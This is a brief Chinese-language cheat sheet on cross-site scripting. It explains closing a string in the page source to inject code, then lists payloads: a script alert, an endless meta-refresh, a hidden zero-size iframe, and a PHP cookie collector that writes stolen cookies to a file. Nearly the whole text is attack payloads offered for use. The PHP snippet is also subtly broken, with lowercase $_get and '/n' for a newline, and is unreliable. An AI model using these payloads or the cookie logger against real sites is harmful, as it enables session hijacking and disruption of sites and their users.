先找到源代码,代码分析,适当闭合字符串,从而得以让插入语句被使用
1.弹框<script>alert(123)</script>
2.页面不停刷新<meta http-equiv='refresh' content='0'>
3.嵌入其他网站<iframe src=http://127.0.0.1 width=0 height=0></iframe>
4.获取cookie:<?php
$cookie=$_get['cookie']."/n";
$cookie_f=fopen('cookie.txt','a');
fwrite($cookie_f,$cookie);
fclose($cookie_f);
?>